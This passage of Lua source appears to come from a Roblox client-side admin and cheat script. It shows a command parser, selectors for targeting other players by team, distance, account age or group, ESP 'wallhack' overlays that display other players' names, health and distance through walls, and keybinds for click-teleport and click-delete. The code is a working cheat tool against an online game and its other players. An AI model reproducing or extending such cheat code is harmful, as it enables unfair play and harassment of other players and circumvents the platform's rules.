string.gsub(cmdStr,"\\\\","%%BackSlash%%") local commandsToRun = splitString(cmdStr,"\\") for i,v in pairs(commandsToRun) do v = string.gsub(v,"%%BackSlash%%","\\") local x,y,num = v:find("^(%d+)%^") local cmdDelay = 0 local infTimes = false if num then v = v:sub(y+1) local x,y,del = v:find("^([%d%.]+)%^") if del then v = v:sub(y+1) cmdDelay = tonumber(del) or 0 end else local x,y = v:find("^inf%^") if x then infTimes = true v = v:sub(y+1) local x,y,del = v:find("^([%d%.]+)%^") if del then v = v:sub(y+1) del = tonumber(del) or 1 cmdDelay = (del > 0 and del or 1) else cmdDelay = 1 end end end num = tonumber(num or 1) if v:sub(1,1) == "!" then local chunks = splitString(v:sub(2),split) if chunks[1] and lastCmds[chunks[1]] then v = lastCmds[chunks[1]] end end local args = splitString(v,split) local cmdName = args[1] local cmd = findCmd(cmdName) if cmd then table.remove(args,1) cargs = args if not speaker then speaker = Players.LocalPlayer end if store then if speaker == Players.LocalPlayer then if cmdHistory[1] ~= rawCmdStr and rawCmdStr:sub(1,11) ~= 'lastcommand' and rawCmdStr:sub(1,7) ~= 'lastcmd' then table.insert(cmdHistory,1,rawCmdStr) end end if #cmdHistory > 30 then table.remove(cmdHistory) end lastCmds[cmdName] = v end local cmdStartTime = tick() if infTimes then while lastBreakTime < cmdStartTime do local success,err = pcall(cmd.FUNC,args, speaker) if not success and _G.IY_DEBUG then warn("Command Error:", cmdName, err) end wait(cmdDelay) end else for rep = 1,num do if lastBreakTime > cmdStartTime then break end local success,err = pcall(function() cmd.FUNC(args, speaker) end) if not success and _G.IY_DEBUG then warn("Command Error:", cmdName, err) end if cmdDelay ~= 0 then wait(cmdDelay) end end end end end end) end function addcmd(name,alias,func,plgn) cmds[#cmds+1]= { NAME=name; ALIAS=alias or {}; FUNC=func; PLUGIN=plgn; } end function removecmd(cmd) if cmd ~= " " then for i = #cmds,1,-1 do if cmds[i].NAME == cmd or FindInTable(cmds[i].ALIAS,cmd) then table.remove(cmds, i) for a,c in pairs(CMDsF:GetChildren()) do if string.find(c.Text, "^"..cmd.."$") or string.find(c.Text, "^"..cmd.." ") or string.find(c.Text, " "..cmd.."$") or string.find(c.Text, " "..cmd.." ") then c.TextTransparency = 0.7 c.MouseButton1Click:Connect(function() notify(c.Text, "Command has been disabled by you or a plugin") end) end end end end end end function overridecmd(name, func) local cmd = findCmd(name) if cmd and cmd.FUNC then cmd.FUNC = func end end function addbind(cmd,key,iskeyup,toggle) if toggle then binds[#binds+1]= { COMMAND=cmd; KEY=key; ISKEYUP=iskeyup; TOGGLE = toggle; } else binds[#binds+1]= { COMMAND=cmd; KEY=key; ISKEYUP=iskeyup; } end end function addcmdtext(text,name,desc) local newcmd = Example:Clone() local tooltipText = tostring(text) local tooltipDesc = tostring(desc) newcmd.Parent = CMDsF newcmd.Visible = false newcmd.Text = text newcmd.Name = 'PLUGIN_'..name table.insert(text1,newcmd) if desc and desc ~= '' then newcmd:SetAttribute("Title", tooltipText) newcmd:SetAttribute("Desc", tooltipDesc) newcmd.MouseButton1Down:Connect(function() if newcmd.Visible and newcmd.TextTransparency == 0 then Cmdbar:CaptureFocus() autoComplete(newcmd.Text) maximizeHolder() end end) end end local WorldToScreen = function(Object) local ObjectVector = workspace.CurrentCamera:WorldToScreenPoint(Object.Position) return Vector2.new(ObjectVector.X, ObjectVector.Y) end local MousePositionToVector2 = function() return Vector2.new(IYMouse.X, IYMouse.Y) end local GetClosestPlayerFromCursor = function() local found = nil local ClosestDistance = math.huge for i, v in pairs(Players:GetPlayers()) do if v ~= Players.LocalPlayer and v.Character and v.Character:FindFirstChildOfClass("Humanoid") then for k, x in pairs(v.Character:GetChildren()) do if string.find(x.Name, "Torso") then local Distance = (WorldToScreen(x) - MousePositionToVector2()).Magnitude if Distance < ClosestDistance then ClosestDistance = Distance found = v end end end end end return found end SpecialPlayerCases = { ["all"] = function(speaker) return Players:GetPlayers() end, ["others"] = function(speaker) local plrs = {} for i,v in pairs(Players:GetPlayers()) do if v ~= speaker then table.insert(plrs,v) end end return plrs end, ["me"] = function(speaker)return {speaker} end, ["#(%d+)"] = function(speaker,args,currentList) local returns = {} local randAmount = tonumber(args[1]) local players = {unpack(currentList)} for i = 1,randAmount do if #players == 0 then break end local randIndex = math.random(1,#players) table.insert(returns,players[randIndex]) table.remove(players,randIndex) end return returns end, ["random"] = function(speaker,args,currentList) local players = Players:GetPlayers() local localplayer = Players.LocalPlayer table.remove(players, table.find(players, localplayer)) return {players[math.random(1,#players)]} end, ["%%(.+)"] = function(speaker,args) local returns = {} local team = args[1] for _,plr in pairs(Players:GetPlayers()) do if plr.Team and string.sub(string.lower(plr.Team.Name),1,#team) == string.lower(team) then table.insert(returns,plr) end end return returns end, ["allies"] = function(speaker) local returns = {} local team = speaker.Team for _,plr in pairs(Players:GetPlayers()) do if plr.Team == team then table.insert(returns,plr) end end return returns end, ["enemies"] = function(speaker) local returns = {} local team = speaker.Team for _,plr in pairs(Players:GetPlayers()) do if plr.Team ~= team then table.insert(returns,plr) end end return returns end, ["team"] = function(speaker) local returns = {} local team = speaker.Team for _,plr in pairs(Players:GetPlayers()) do if plr.Team == team then table.insert(returns,plr) end end return returns end, ["nonteam"] = function(speaker) local returns = {} local team = speaker.Team for _,plr in pairs(Players:GetPlayers()) do if plr.Team ~= team then table.insert(returns,plr) end end return returns end, ["friends"] = function(speaker,args) local returns = {} for _,plr in pairs(Players:GetPlayers()) do if plr:IsFriendsWith(speaker.UserId) and plr ~= speaker then table.insert(returns,plr) end end return returns end, ["nonfriends"] = function(speaker,args) local returns = {} for _,plr in pairs(Players:GetPlayers()) do if not plr:IsFriendsWith(speaker.UserId) and plr ~= speaker then table.insert(returns,plr) end end return returns end, ["guests"] = function(speaker,args) local returns = {} for _,plr in pairs(Players:GetPlayers()) do if plr.Guest then table.insert(returns,plr) end end return returns end, ["bacons"] = function(speaker,args) local returns = {} for _,plr in pairs(Players:GetPlayers()) do if plr.Character:FindFirstChild('Pal Hair') or plr.Character:FindFirstChild('Kate Hair') then table.insert(returns,plr) end end return returns end, ["age(%d+)"] = function(speaker,args) local returns = {} local age = tonumber(args[1]) if not age == nil then return end for _,plr in pairs(Players:GetPlayers()) do if plr.AccountAge <= age then table.insert(returns,plr) end end return returns end, ["nearest"] = function(speaker,args,currentList) local speakerChar = speaker.Character if not speakerChar or not getRoot(speakerChar) then return end local lowest = math.huge local NearestPlayer = nil for _,plr in pairs(currentList) do if plr ~= speaker and plr.Character then local distance = plr:DistanceFromCharacter(getRoot(speakerChar).Position) if distance < lowest then lowest = distance NearestPlayer = {plr} end end end return NearestPlayer end, ["farthest"] = function(speaker,args,currentList) local speakerChar = speaker.Character if not speakerChar or not getRoot(speakerChar) then return end local highest = 0 local Farthest = nil for _,plr in pairs(currentList) do if plr ~= speaker and plr.Character then local distance = plr:DistanceFromCharacter(getRoot(speakerChar).Position) if distance > highest then highest = distance Farthest = {plr} end end end return Farthest end, ["group(%d+)"] = function(speaker,args) local returns = {} local groupID = tonumber(args[1]) for _,plr in pairs(Players:GetPlayers()) do if plr:IsInGroup(groupID) then table.insert(returns,plr) end end return returns end, ["alive"] = function(speaker,args) local returns = {} for _,plr in pairs(Players:GetPlayers()) do if plr.Character and plr.Character:FindFirstChildOfClass("Humanoid") and plr.Character:FindFirstChildOfClass("Humanoid").Health > 0 then table.insert(returns,plr) end end return returns end, ["dead"] = function(speaker,args) local returns = {} for _,plr in pairs(Players:GetPlayers()) do if (not plr.Character or not plr.Character:FindFirstChildOfClass("Humanoid")) or plr.Character:FindFirstChildOfClass("Humanoid").Health <= 0 then table.insert(returns,plr) end end return returns end, ["rad(%d+)"] = function(speaker,args) local returns = {} local radius = tonumber(args[1]) local speakerChar = speaker.Character if not speakerChar or not getRoot(speakerChar) then return end for _,plr in pairs(Players:GetPlayers()) do if plr.Character and getRoot(plr.Character) then local magnitude = (getRoot(plr.Character).Position-getRoot(speakerChar).Position).magnitude if magnitude <= radius then table.insert(returns,plr) end end end return returns end, ["cursor"] = function(speaker) local plrs = {} local v = GetClosestPlayerFromCursor() if v ~= nil then table.insert(plrs, v) end return plrs end, ["npcs"] = function(speaker,args) local returns = {} for _, v in pairs(workspace:GetDescendants()) do if v:IsA("Model") and getRoot(v) and v:FindFirstChildWhichIsA("Humanoid") and Players:GetPlayerFromCharacter(v) == nil then local clone = Instance.new("Player") clone.Name = v.Name .. " - " .. v:FindFirstChildWhichIsA("Humanoid").DisplayName clone.Character = v table.insert(returns, clone) end end return returns end, } function toTokens(str) local tokens = {} for op,name in string.gmatch(str,"([+-])([^+-]+)") do table.insert(tokens,{Operator = op,Name = name}) end return tokens end function onlyIncludeInTable(tab,matches) local matchTable = {} local resultTable = {} for i,v in pairs(matches) do matchTable[v.Name] = true end for i,v in pairs(tab) do if matchTable[v.Name] then table.insert(resultTable,v) end end return resultTable end function removeTableMatches(tab,matches) local matchTable = {} local resultTable = {} for i,v in pairs(matches) do matchTable[v.Name] = true end for i,v in pairs(tab) do if not matchTable[v.Name] then table.insert(resultTable,v) end end return resultTable end function getPlayersByName(Name) local Name,Len,Found = string.lower(Name),#Name,{} for _,v in pairs(Players:GetPlayers()) do if Name:sub(0,1) == '@' then if string.sub(string.lower(v.Name),1,Len-1) == Name:sub(2) then table.insert(Found,v) end else if string.sub(string.lower(v.Name),1,Len) == Name or string.sub(string.lower(v.DisplayName),1,Len) == Name then table.insert(Found,v) end end end return Found end function getPlayer(list,speaker) if list == nil then return {speaker.Name} end local nameList = splitString(list,",") local foundList = {} for _,name in pairs(nameList) do if string.sub(name,1,1) ~= "+" and string.sub(name,1,1) ~= "-" then name = "+"..name end local tokens = toTokens(name) local initialPlayers = Players:GetPlayers() for i,v in pairs(tokens) do if v.Operator == "+" then local tokenContent = v.Name local foundCase = false for regex,case in pairs(SpecialPlayerCases) do local matches = {string.match(tokenContent,"^"..regex.."$")} if #matches > 0 then foundCase = true initialPlayers = onlyIncludeInTable(initialPlayers,case(speaker,matches,initialPlayers)) end end if not foundCase then initialPlayers = onlyIncludeInTable(initialPlayers,getPlayersByName(tokenContent)) end else local tokenContent = v.Name local foundCase = false for regex,case in pairs(SpecialPlayerCases) do local matches = {string.match(tokenContent,"^"..regex.."$")} if #matches > 0 then foundCase = true initialPlayers = removeTableMatches(initialPlayers,case(speaker,matches,initialPlayers)) end end if not foundCase then initialPlayers = removeTableMatches(initialPlayers,getPlayersByName(tokenContent)) end end end for i,v in pairs(initialPlayers) do table.insert(foundList,v) end end local foundNames = {} for i,v in pairs(foundList) do table.insert(foundNames,v.Name) end return foundNames end function formatUsername(player) if player.DisplayName ~= player.Name then return string.format("%s (%s)", player.Name, player.DisplayName) end return player.Name end getprfx=function(strn) if strn:sub(1,string.len(prefix))==prefix then return{'cmd',string.len(prefix)+1} end return end function do_exec(str, plr) str = str:gsub('/e ', '') local t = getprfx(str) if not t then return end str = str:sub(t[2]) if t[1]=='cmd' then execCmd(str, plr, true) IndexContents('',true,false,true) CMDsF.CanvasPosition = canvasPos end end lastTextBoxString,lastTextBoxCon,lastEnteredString = nil,nil,nil UserInputService.TextBoxFocused:Connect(function(obj) if lastTextBoxCon then lastTextBoxCon:Disconnect() end if obj == Cmdbar then lastTextBoxString = nil return end lastTextBoxString = obj.Text lastTextBoxCon = obj:GetPropertyChangedSignal("Text"):Connect(function() if not (UserInputService:IsKeyDown(Enum.KeyCode.Return) or UserInputService:IsKeyDown(Enum.KeyCode.KeypadEnter)) then lastTextBoxString = obj.Text end end) end) UserInputService.InputBegan:Connect(function(input,gameProcessed) if gameProcessed then if Cmdbar and Cmdbar:IsFocused() then if input.KeyCode == Enum.KeyCode.Up then historyCount = historyCount + 1 if historyCount > #cmdHistory then historyCount = #cmdHistory end Cmdbar.Text = cmdHistory[historyCount] or "" Cmdbar.CursorPosition = 1020 elseif input.KeyCode == Enum.KeyCode.Down then historyCount = historyCount - 1 if historyCount < 0 then historyCount = 0 end Cmdbar.Text = cmdHistory[historyCount] or "" Cmdbar.CursorPosition = 1020 end elseif input.KeyCode == Enum.KeyCode.Return or input.KeyCode == Enum.KeyCode.KeypadEnter then lastEnteredString = lastTextBoxString end end end) Players.LocalPlayer.Chatted:Connect(function() wait() if lastEnteredString then local message = lastEnteredString lastEnteredString = nil do_exec(message, Players.LocalPlayer) end end) Cmdbar.PlaceholderText = "Command Bar ("..prefix..")" Cmdbar:GetPropertyChangedSignal("Text"):Connect(function() if Cmdbar:IsFocused() then IndexContents(Cmdbar.Text,true,true) end end) local tabComplete = nil tabAllowed = true Cmdbar.FocusLost:Connect(function(enterpressed) if enterpressed then local cmdbarText = Cmdbar.Text:gsub("^"..prefix,"") execCmd(cmdbarText,Players.LocalPlayer,true) end if tabComplete then tabComplete:Disconnect() end wait() if not Cmdbar:IsFocused() then Cmdbar.Text = "" IndexContents('',true,false,true) if SettingsOpen == true then wait(0.2) Settings:TweenPosition(UDim2.new(0, 0, 0, 45), "InOut", "Quart", 0.2, true, nil) CMDsF.Visible = false end end CMDsF.CanvasPosition = canvasPos end) Cmdbar.Focused:Connect(function() historyCount = 0 canvasPos = CMDsF.CanvasPosition if SettingsOpen == true then wait(0.2) CMDsF.Visible = true Settings:TweenPosition(UDim2.new(0, 0, 0, 220), "InOut", "Quart", 0.2, true, nil) end tabComplete = UserInputService.InputBegan:Connect(function(input,gameProcessed) if Cmdbar:IsFocused() then if tabAllowed == true and input.KeyCode == Enum.KeyCode.Tab and topCommand ~= nil then autoComplete(topCommand) end else tabComplete:Disconnect() end end) end) ESPenabled = false CHMSenabled = false function round(num, numDecimalPlaces) local mult = 10^(numDecimalPlaces or 0) return math.floor(num * mult + 0.5) / mult end function ESP(plr, logic) task.spawn(function() for i,v in pairs(COREGUI:GetChildren()) do if v.Name == plr.Name..'_ESP' then v:Destroy() end end wait() if plr.Character and plr.Name ~= Players.LocalPlayer.Name and not COREGUI:FindFirstChild(plr.Name..'_ESP') then local ESPholder = Instance.new("Folder") ESPholder.Name = plr.Name..'_ESP' ESPholder.Parent = COREGUI repeat wait(1) until plr.Character and getRoot(plr.Character) and plr.Character:FindFirstChildOfClass("Humanoid") for b,n in pairs (plr.Character:GetChildren()) do if (n:IsA("BasePart")) then local a = Instance.new("BoxHandleAdornment") a.Name = plr.Name a.Parent = ESPholder a.Adornee = n a.AlwaysOnTop = true a.ZIndex = 10 a.Size = n.Size a.Transparency = espTransparency if logic == true then a.Color = BrickColor.new(plr.TeamColor == Players.LocalPlayer.TeamColor and "Bright green" or "Bright red") else a.Color = plr.TeamColor end end end if plr.Character and plr.Character:FindFirstChild('Head') then local BillboardGui = Instance.new("BillboardGui") local TextLabel = Instance.new("TextLabel") BillboardGui.Adornee = plr.Character.Head BillboardGui.Name = plr.Name BillboardGui.Parent = ESPholder BillboardGui.Size = UDim2.new(0, 100, 0, 150) BillboardGui.StudsOffset = Vector3.new(0, 1, 0) BillboardGui.AlwaysOnTop = true TextLabel.Parent = BillboardGui TextLabel.BackgroundTransparency = 1 TextLabel.Position = UDim2.new(0, 0, 0, -50) TextLabel.Size = UDim2.new(0, 100, 0, 100) TextLabel.Font = Enum.Font.SourceSansSemibold TextLabel.TextSize = 20 TextLabel.TextColor3 = Color3.new(1, 1, 1) TextLabel.TextStrokeTransparency = 0 TextLabel.TextYAlignment = Enum.TextYAlignment.Bottom TextLabel.Text = 'Name: '..plr.Name TextLabel.ZIndex = 10 local espLoopFunc local teamChange local addedFunc addedFunc = plr.CharacterAdded:Connect(function() if ESPenabled then espLoopFunc:Disconnect() teamChange:Disconnect() ESPholder:Destroy() repeat wait(1) until getRoot(plr.Character) and plr.Character:FindFirstChildOfClass("Humanoid") ESP(plr, logic) addedFunc:Disconnect() else teamChange:Disconnect() addedFunc:Disconnect() end end) teamChange = plr:GetPropertyChangedSignal("TeamColor"):Connect(function() if ESPenabled then espLoopFunc:Disconnect() addedFunc:Disconnect() ESPholder:Destroy() repeat wait(1) until getRoot(plr.Character) and plr.Character:FindFirstChildOfClass("Humanoid") ESP(plr, logic) teamChange:Disconnect() else teamChange:Disconnect() end end) local function espLoop() if COREGUI:FindFirstChild(plr.Name..'_ESP') then if plr.Character and getRoot(plr.Character) and plr.Character:FindFirstChildOfClass("Humanoid") and Players.LocalPlayer.Character and getRoot(Players.LocalPlayer.Character) and Players.LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then local pos = math.floor((getRoot(Players.LocalPlayer.Character).Position - getRoot(plr.Character).Position).magnitude) TextLabel.Text = 'Name: '..plr.Name..' | Health: '..round(plr.Character:FindFirstChildOfClass('Humanoid').Health, 1)..' | Studs: '..pos end else teamChange:Disconnect() addedFunc:Disconnect() espLoopFunc:Disconnect() end end espLoopFunc = RunService.RenderStepped:Connect(espLoop) end end end) end function CHMS(plr) task.spawn(function() for i,v in pairs(COREGUI:GetChildren()) do if v.Name == plr.Name..'_CHMS' then v:Destroy() end end wait() if plr.Character and plr.Name ~= Players.LocalPlayer.Name and not COREGUI:FindFirstChild(plr.Name..'_CHMS') then local ESPholder = Instance.new("Folder") ESPholder.Name = plr.Name..'_CHMS' ESPholder.Parent = COREGUI repeat wait(1) until plr.Character and getRoot(plr.Character) and plr.Character:FindFirstChildOfClass("Humanoid") for b,n in pairs (plr.Character:GetChildren()) do if (n:IsA("BasePart")) then local a = Instance.new("BoxHandleAdornment") a.Name = plr.Name a.Parent = ESPholder a.Adornee = n a.AlwaysOnTop = true a.ZIndex = 10 a.Size = n.Size a.Transparency = espTransparency a.Color = plr.TeamColor end end local addedFunc local teamChange local CHMSremoved addedFunc = plr.CharacterAdded:Connect(function() if CHMSenabled then ESPholder:Destroy() teamChange:Disconnect() repeat wait(1) until getRoot(plr.Character) and plr.Character:FindFirstChildOfClass("Humanoid") CHMS(plr) addedFunc:Disconnect() else teamChange:Disconnect() addedFunc:Disconnect() end end) teamChange = plr:GetPropertyChangedSignal("TeamColor"):Connect(function() if CHMSenabled then ESPholder:Destroy() addedFunc:Disconnect() repeat wait(1) until getRoot(plr.Character) and plr.Character:FindFirstChildOfClass("Humanoid") CHMS(plr) teamChange:Disconnect() else teamChange:Disconnect() end end) CHMSremoved = ESPholder.AncestryChanged:Connect(function() teamChange:Disconnect() addedFunc:Disconnect() CHMSremoved:Disconnect() end) end end) end function Locate(plr) task.spawn(function() for i,v in pairs(COREGUI:GetChildren()) do if v.Name == plr.Name..'_LC' then v:Destroy() end end wait() if plr.Character and plr.Name ~= Players.LocalPlayer.Name and not COREGUI:FindFirstChild(plr.Name..'_LC') then local ESPholder = Instance.new("Folder") ESPholder.Name = plr.Name..'_LC' ESPholder.Parent = COREGUI repeat wait(1) until plr.Character and getRoot(plr.Character) and plr.Character:FindFirstChildOfClass("Humanoid") for b,n in pairs (plr.Character:GetChildren()) do if (n:IsA("BasePart")) then local a = Instance.new("BoxHandleAdornment") a.Name = plr.Name a.Parent = ESPholder a.Adornee = n a.AlwaysOnTop = true a.ZIndex = 10 a.Size = n.Size a.Transparency = espTransparency a.Color = plr.TeamColor end end if plr.Character and plr.Character:FindFirstChild('Head') then local BillboardGui = Instance.new("BillboardGui") local TextLabel = Instance.new("TextLabel") BillboardGui.Adornee = plr.Character.Head BillboardGui.Name = plr.Name BillboardGui.Parent = ESPholder BillboardGui.Size = UDim2.new(0, 100, 0, 150) BillboardGui.StudsOffset = Vector3.new(0, 1, 0) BillboardGui.AlwaysOnTop = true TextLabel.Parent = BillboardGui TextLabel.BackgroundTransparency = 1 TextLabel.Position = UDim2.new(0, 0, 0, -50) TextLabel.Size = UDim2.new(0, 100, 0, 100) TextLabel.Font = Enum.Font.SourceSansSemibold TextLabel.TextSize = 20 TextLabel.TextColor3 = Color3.new(1, 1, 1) TextLabel.TextStrokeTransparency = 0 TextLabel.TextYAlignment = Enum.TextYAlignment.Bottom TextLabel.Text = 'Name: '..plr.Name TextLabel.ZIndex = 10 local lcLoopFunc local addedFunc local teamChange addedFunc = plr.CharacterAdded:Connect(function() if ESPholder ~= nil and ESPholder.Parent ~= nil then lcLoopFunc:Disconnect() teamChange:Disconnect() ESPholder:Destroy() repeat wait(1) until getRoot(plr.Character) and plr.Character:FindFirstChildOfClass("Humanoid") Locate(plr) addedFunc:Disconnect() else teamChange:Disconnect() addedFunc:Disconnect() end end) teamChange = plr:GetPropertyChangedSignal("TeamColor"):Connect(function() if ESPholder ~= nil and ESPholder.Parent ~= nil then lcLoopFunc:Disconnect() addedFunc:Disconnect() ESPholder:Destroy() repeat wait(1) until getRoot(plr.Character) and plr.Character:FindFirstChildOfClass("Humanoid") Locate(plr) teamChange:Disconnect() else teamChange:Disconnect() end end) local function lcLoop() if COREGUI:FindFirstChild(plr.Name..'_LC') then if plr.Character and getRoot(plr.Character) and plr.Character:FindFirstChildOfClass("Humanoid") and Players.LocalPlayer.Character and getRoot(Players.LocalPlayer.Character) and Players.LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then local pos = math.floor((getRoot(Players.LocalPlayer.Character).Position - getRoot(plr.Character).Position).magnitude) TextLabel.Text = 'Name: '..plr.Name..' | Health: '..round(plr.Character:FindFirstChildOfClass('Humanoid').Health, 1)..' | Studs: '..pos end else teamChange:Disconnect() addedFunc:Disconnect() lcLoopFunc:Disconnect() end end lcLoopFunc = RunService.RenderStepped:Connect(lcLoop) end end end) end local bindsGUI = KeybindEditor local awaitingInput = false local keySelected = false function refreshbinds() if Holder_2 then Holder_2:ClearAllChildren() Holder_2.CanvasSize = UDim2.new(0, 0, 0, 10) for i = 1, #binds do local YSize = 25 local Position = ((i * YSize) - YSize) local newbind = Example_2:Clone() newbind.Parent = Holder_2 newbind.Visible = true newbind.Position = UDim2.new(0,0,0, Position + 5) table.insert(shade2,newbind) table.insert(shade2,newbind.Text) table.insert(text1,newbind.Text) table.insert(shade3,newbind.Text.Delete) table.insert(text2,newbind.Text.Delete) local input = tostring(binds[i].KEY) local key if input == 'RightClick' or input == 'LeftClick' then key = input else key = input:sub(14) end if binds[i].TOGGLE then newbind.Text.Text = key.." > "..binds[i].COMMAND.." / "..binds[i].TOGGLE else newbind.Text.Text = key.." > "..binds[i].COMMAND.." "..(binds[i].ISKEYUP and "(keyup)" or "(keydown)") end Holder_2.CanvasSize = UDim2.new(0,0,0, Position + 30) newbind.Text.Delete.MouseButton1Click:Connect(function() unkeybind(binds[i].COMMAND,binds[i].KEY) end) end end end refreshbinds() toggleOn = {} function unkeybind(cmd,key) for i = #binds,1,-1 do if binds[i].COMMAND == cmd and binds[i].KEY == key then toggleOn[binds[i]] = nil table.remove(binds, i) end end refreshbinds() updatesaves() if key == 'RightClick' or key == 'LeftClick' then notify('Keybinds Updated','Unbinded '..key..' from '..cmd) else notify('Keybinds Updated','Unbinded '..key:sub(14)..' from '..cmd) end end PositionsFrame.Delete.MouseButton1Click:Connect(function() execCmd('cpos') end) function refreshwaypoints() if #WayPoints > 0 or #pWayPoints > 0 then PositionsHint:Destroy() end if Holder_4 then Holder_4:ClearAllChildren() Holder_4.CanvasSize = UDim2.new(0, 0, 0, 10) local YSize = 25 local num = 1 for i = 1, #WayPoints do local Position = ((num * YSize) - YSize) local newpoint = Example_4:Clone() newpoint.Parent = Holder_4 newpoint.Visible = true newpoint.Position = UDim2.new(0,0,0, Position + 5) newpoint.Text.Text = WayPoints[i].NAME table.insert(shade2,newpoint) table.insert(shade2,newpoint.Text) table.insert(text1,newpoint.Text) table.insert(shade3,newpoint.Text.Delete) table.insert(text2,newpoint.Text.Delete) table.insert(shade3,newpoint.Text.TP) table.insert(text2,newpoint.Text.TP) Holder_4.CanvasSize = UDim2.new(0,0,0, Position + 30) newpoint.Text.Delete.MouseButton1Click:Connect(function() execCmd('dpos '..WayPoints[i].NAME) end) newpoint.Text.TP.MouseButton1Click:Connect(function() execCmd("loadpos "..WayPoints[i].NAME) end) num = num+1 end for i = 1, #pWayPoints do local Position = ((num * YSize) - YSize) local newpoint = Example_4:Clone() newpoint.Parent = Holder_4 newpoint.Visible = true newpoint.Position = UDim2.new(0,0,0, Position + 5) newpoint.Text.Text = pWayPoints[i].NAME table.insert(shade2,newpoint) table.insert(shade2,newpoint.Text) table.insert(text1,newpoint.Text) table.insert(shade3,newpoint.Text.Delete) table.insert(text2,newpoint.Text.Delete) table.insert(shade3,newpoint.Text.TP) table.insert(text2,newpoint.Text.TP) Holder_4.CanvasSize = UDim2.new(0,0,0, Position + 30) newpoint.Text.Delete.MouseButton1Click:Connect(function() execCmd('dpos '..pWayPoints[i].NAME) end) newpoint.Text.TP.MouseButton1Click:Connect(function() execCmd("loadpos "..pWayPoints[i].NAME) end) num = num+1 end end end refreshwaypoints() function refreshaliases() if #aliases > 0 then AliasHint:Destroy() end if Holder_3 then Holder_3:ClearAllChildren() Holder_3.CanvasSize = UDim2.new(0, 0, 0, 10) for i = 1, #aliases do local YSize = 25 local Position = ((i * YSize) - YSize) local newalias = Example_3:Clone() newalias.Parent = Holder_3 newalias.Visible = true newalias.Position = UDim2.new(0,0,0, Position + 5) newalias.Text.Text = aliases[i].CMD.." > "..aliases[i].ALIAS table.insert(shade2,newalias) table.insert(shade2,newalias.Text) table.insert(text1,newalias.Text) table.insert(shade3,newalias.Text.Delete) table.insert(text2,newalias.Text.Delete) Holder_3.CanvasSize = UDim2.new(0,0,0, Position + 30) newalias.Text.Delete.MouseButton1Click:Connect(function() execCmd('removealias '..aliases[i].ALIAS) end) end end end local bindChosenKeyUp = false BindTo.MouseButton1Click:Connect(function() awaitingInput = true BindTo.Text = 'Press something' end) BindTriggerSelect.MouseButton1Click:Connect(function() bindChosenKeyUp = not bindChosenKeyUp BindTriggerSelect.Text = bindChosenKeyUp and "KeyUp" or "KeyDown" end) newToggle = false Cmdbar_3.Parent.Visible = false On_2.MouseButton1Click:Connect(function() if newToggle == false then newToggle = true On_2.BackgroundTransparency = 0 Cmdbar_3.Parent.Visible = true BindTriggerSelect.Visible = false else newToggle = false On_2.BackgroundTransparency = 1 Cmdbar_3.Parent.Visible = false BindTriggerSelect.Visible = true end end) Add_2.MouseButton1Click:Connect(function() if keySelected then if string.find(Cmdbar_2.Text, "\\\\") or string.find(Cmdbar_3.Text, "\\\\") then notify('Keybind Error','Only use one backslash to keybind multiple commands into one keybind or command') else if newToggle and Cmdbar_3.Text ~= '' and Cmdbar_2.text ~= '' then addbind(Cmdbar_2.Text,keyPressed,false,Cmdbar_3.Text) elseif not newToggle and Cmdbar_2.text ~= '' then addbind(Cmdbar_2.Text,keyPressed,bindChosenKeyUp) else return end refreshbinds() updatesaves() if keyPressed == 'RightClick' or keyPressed == 'LeftClick' then notify('Keybinds Updated','Binded '..keyPressed..' to '..Cmdbar_2.Text..(newToggle and " / "..Cmdbar_3.Text or "")) else notify('Keybinds Updated','Binded '..keyPressed:sub(14)..' to '..Cmdbar_2.Text..(newToggle and " / "..Cmdbar_3.Text or "")) end end end end) Exit_2.MouseButton1Click:Connect(function() Cmdbar_2.Text = 'Command' Cmdbar_3.Text = 'Command 2' BindTo.Text = 'Click to bind' bindChosenKeyUp = false BindTriggerSelect.Text = "KeyDown" keySelected = false KeybindEditor:TweenPosition(UDim2.new(0.5, -180, 0, -500), "InOut", "Quart", 0.5, true, nil) end) function onInputBegan(input,gameProcessed) if awaitingInput then if input.UserInputType == Enum.UserInputType.Keyboard then keyPressed = tostring(input.KeyCode) BindTo.Text = keyPressed:sub(14) elseif input.UserInputType == Enum.UserInputType.MouseButton1 then keyPressed = 'LeftClick' BindTo.Text = 'LeftClick' elseif input.UserInputType == Enum.UserInputType.MouseButton2 then keyPressed = 'RightClick' BindTo.Text = 'RightClick' end awaitingInput = false keySelected = true end if not gameProcessed and #binds > 0 then for i,v in pairs(binds) do if not v.ISKEYUP then if (input.UserInputType == Enum.UserInputType.Keyboard and v.KEY:lower()==tostring(input.KeyCode):lower()) or (input.UserInputType == Enum.UserInputType.MouseButton1 and v.KEY:lower()=='leftclick') or (input.UserInputType == Enum.UserInputType.MouseButton2 and v.KEY:lower()=='rightclick') then if v.TOGGLE then local isOn = toggleOn[v] == true toggleOn[v] = not isOn if isOn then execCmd(v.TOGGLE,Players.LocalPlayer) else execCmd(v.COMMAND,Players.LocalPlayer) end else execCmd(v.COMMAND,Players.LocalPlayer) end end end end end end function onInputEnded(input,gameProcessed) if not gameProcessed and #binds > 0 then for i,v in pairs(binds) do if v.ISKEYUP then if (input.UserInputType == Enum.UserInputType.Keyboard and v.KEY:lower()==tostring(input.KeyCode):lower()) or (input.UserInputType == Enum.UserInputType.MouseButton1 and v.KEY:lower()=='leftclick') or (input.UserInputType == Enum.UserInputType.MouseButton2 and v.KEY:lower()=='rightclick') then execCmd(v.COMMAND,Players.LocalPlayer) end end end end end UserInputService.InputBegan:Connect(onInputBegan) UserInputService.InputEnded:Connect(onInputEnded) ClickTP.Select.MouseButton1Click:Connect(function() if keySelected then addbind('clicktp',keyPressed,bindChosenKeyUp) refreshbinds() updatesaves() if keyPressed == 'RightClick' or keyPressed == 'LeftClick' then notify('Keybinds Updated','Binded '..keyPressed..' to click tp') else notify('Keybinds Updated','Binded '..keyPressed:sub(14)..' to click tp') end end end) ClickDelete.Select.MouseButton1Click:Connect(function() if keySelected then addbind('clickdel',keyPressed,bindChosenKeyUp) refreshbinds() updatesaves() if keyPressed == 'RightClick' or keyPressed == 'LeftClick' then notify('Keybinds Updated','Binded '..keyPressed..' to click delete') else notify('Keybinds Updated','Binded '..keyPressed:sub(14)..' to click delete') end end end) local function clicktpFunc() pcall(function() local character = Players.LocalPlayer.Character local humanoid = character:FindFirstChildOfClass("Humanoid") if humanoid and humanoid.SeatPart then humanoid.Sit = false wait(0.1) end local hipHeight = humanoid and humanoid.HipHeight > 0 and (humanoid.HipHeight + 1) local 